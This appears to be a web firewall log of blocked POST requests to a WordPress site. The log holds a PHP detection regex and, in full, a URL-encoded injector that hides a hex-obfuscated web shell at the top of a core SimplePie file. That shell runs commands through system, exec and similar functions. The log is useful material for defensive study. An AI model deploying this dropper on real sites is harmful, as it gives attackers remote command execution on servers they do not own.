["2026-05-12 23:45:46","164.52.218.210","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:6243\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nbj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:47:32","57.128.189.50","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6243\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nNK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:47:37","91.142.222.105","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delsei